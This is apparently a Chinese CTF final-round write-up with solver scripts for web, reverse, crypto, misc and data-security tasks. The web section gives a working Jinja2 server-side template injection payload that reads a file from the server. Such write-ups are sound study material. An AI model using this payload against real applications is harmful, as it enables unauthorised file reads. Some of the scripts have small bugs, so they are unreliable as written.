第九届浙江省大学生网络与信息安全竞赛 决赛WP

First Post:

Last Update:

Word Count:
1.1k

Read Time:
6 min

WEB

pynote

根据题目,Jinja 框架存在 SSTI 注入

构建文件读取语句

1
{{ get_flashed_messages.__globals__.__builtins__.open('/flag').read() }}

REVERSE

waitlong

从 DATA 块中提取 unk_601060 数据,排序后输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def precise_analysis():

    unk_601060 = [
        0x00000099,
        0x0000A36D,
        0x0000003D,
        0x0000743D,
        0x0000000B,
        0x00000F00,
        0x000088A3,
        0x00000053,
        0x00000003,
        0x0000005C,
        0x0000000E,
        0x0000099F,
        0x0000067C
    ]

    sorted_values = sorted(unk_601060)

    result = ""
    for val in sorted_values:
        result += f"{val:x}"

    result2 = ""
    for val in sorted_values:
        result2 += f"{val:08x}"

    return result

print(precise_analysis())

CRYPTO

Baby RSA

在工具中直接进行小指数攻击即可

AAEESS

使用 sympy 库的 Matrix().inv_mod() 函数计算 task.py 中用于逆向列混合运算的逆矩阵

1
2
3
4
5
6
7
8
9
10
11
12
import sympy as sp

MOD = 251

def inverse_mix_columns(state):
    matrix = sp.Matrix([[2, 3, 1, 1],
                       [1, 2, 3, 1],
                       [1, 1, 2, 3],
                       [3, 1, 1, 2]])
    matrix = matrix.inv_mod(MOD)
    matrix = np.array(matrix).astype(int)
    return np.dot(matrix, state) % MOD

逆向所有计算得到明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import numpy as np
import sympy as sp

MOD = 251

def inverse_mix_columns(state):
    matrix = sp.Matrix([[2, 3, 1, 1],
                       [1, 2, 3, 1],
                       [1, 1, 2, 3],
                       [3, 1, 1, 2]])
    matrix = matrix.inv_mod(MOD)
    matrix = np.array(matrix).astype(int)
    return np.dot(matrix, state) % MOD

def inverse_shift_rows(block):
    for r in range(4):
        block[r] = np.roll(block[r], r)
    return block

def inverse_affine_sbox(block):
    return (36 * (block - 123)) % MOD

cipher = [
    [19, 249, 206, 53, 181, 137, 230, 195, 146, 72, 135, 83, 7, 83, 141, 248],
    [137, 128, 109, 70, 27, 208, 126, 200, 214, 217, 235, 66, 44, 188, 227, 31],
    [221, 138, 45, 205, 29, 116, 98, 179, 182, 129, 103, 221, 45, 18, 25, 76]
]

def decrypt(cipher_blocks):
    msg = []

    for cipher_block in cipher_blocks:
        block = np.array(cipher_block).reshape(4, 4)

        # 逆向执行 3 轮
        for _ in range(3):
            block = inverse_mix_columns(block)
            block = inverse_shift_rows(block)
            block = inverse_affine_sbox(block)

        msg.extend(block.flatten().tolist())

    # 去除 PKCS#7 以外的零填充
    while msg and msg[-1] == 0:
        msg.pop()

    return bytes(msg)

print(decrypt(cipher))

MISC

键盘侠的 USB 日记

1
2
3
4
5
6
7
8
block = '██'
space = '  '

with open('E:/#CTF/MATCH/261114 - 第九届浙江省大学生网络与信息安全竞赛——决赛/MISC/键盘侠的 USB 日记/qr_keyboard.txt', 'r') as f:
    for l in f.readlines():
        for b in l.strip():
            print(block if b == 'b' else space, end='')
        print()

DS

ShieldCall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import csv
skipped = False

with open('E:/#CTF/MATCH/261114 - 第九届浙江省大学生网络与信息安全竞赛——决赛/DS/ShieldCall/回访任务批次.csv', 'r', encoding='utf-8') as f:
    with open('E:/#CTF/MATCH/261114 - 第九届浙江省大学生网络与信息安全竞赛——决赛/DS/ShieldCall/out.csv', 'w', encoding='utf-8') as o:
        reader = csv.reader(f)
        writer = csv.writer(o)
        writer.writerow(['任务号', '会员姓名', '联系电话', '证件号码', '预约时间', '服务地址', '派单站点', '工单状态'])
        for row in reader:
            if not skipped:
                skipped = True
                continue
            name = row[1]
            name = name[0] + '*' if len(name) == 2 else name[0] + '*'*(len(name)-2) + name[-1]
            phone = row[2]
            phone = phone[:3] + '*'*6 + phone[-2:]
            idn = row[3]
            idn = '*'*6 + idn[6:14] + '*'*4
            addr = row[5]
            addr = ''.join(['*' if i >= '0' and i <= '9' else i for i in addr])
            writer.writerow([row[0], name, phone, idn, row[4], addr, row[6], row[7]])

LibRelay

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import time
import csv

gateway_egress_log = []
ticket_archive = []
key_history = []
asset_catalog = []

issue_list = []

def extract_data(l: str):
    return l.split('VALUES')[1].strip('\n ;()').replace('\'', '').split(', ')

def decode_time(t: str):
    return time.strptime(t, '%Y-%m-%dT%H:%M:%S%z')

with open('E:/#CTF/MATCH/261114 - 第九届浙江省大学生网络与信息安全竞赛——决赛/DS/LibRelay/librelay.sql', 'r', encoding='utf-8') as f:
    for l in f.readlines():
        if l.startswith('INSERT INTO'):
            if 'gateway_egress_log' in l:
                data = extract_data(l)
                if data[5] != 'COMPLETED': continue # 排除未完成外发
                gateway_egress_log.append(data)
            elif 'ticket_archive' in l:
                ticket_archive.append(extract_data(l))
            elif 'key_history' in l:
                key_history.append(extract_data(l))
            elif 'asset_catalog' in l:
                asset_catalog.append(extract_data(l))

for log in gateway_egress_log:
    # 业务纳入范围
    field_code = log[3]
    for catalog in asset_catalog:
        if catalog[0] == field_code:
            if catalog[2] != 'SENSITIVE':
                continue
    # 授权有效性
    ticket_id = log[2]
    matched_ticket = None
    for ticket in ticket_archive:
        if ticket[0] == ticket_id:
            matched_ticket = ticket
            break
    if matched_ticket == None:
        issue_list.append([log[0], 'TICKET_MISSING'])
        continue
    if matched_ticket[5] != 'GRANTED': # 票据状态
        issue_list.append([log[0], 'TICKET_REVOKED'])
        continue
    if matched_ticket[1] != log[1] or matched_ticket[2] != log[3]: # 读者编号 / 资源字段
        issue_list.append([log[0], 'TICKET_MISMATCH'])
        continue
    if decode_time(matched_ticket[3]) > decode_time(log[7]): # 签发时刻
        issue_list.append([log[0], 'TICKET_NOT_YET'])
        continue
    if decode_time(matched_ticket[4]) < decode_time(log[7]): # 有效期结束时刻
        issue_list.append([log[0], 'TICKET_EXPIRED'])
        continue
    # 签名密钥有效性
    sign_kid = log[6]
    for key in key_history:
        if key[0] == sign_kid:
            matched_key = key
            break
    if decode_time(log[7]) < decode_time(matched_key[1]) or decode_time(log[7]) > decode_time(matched_key[2]):
        issue_list.append([log[0], 'KEY_INACTIVE'])
        continue


with open('out.csv', 'w', encoding='utf-8') as o:
    writer = csv.writer(o)
    writer.writerow(['transfer_id','issue_code'])
    writer.writerows(issue_list)

题目附件下载(部分): 百度网盘 提取码: u7x7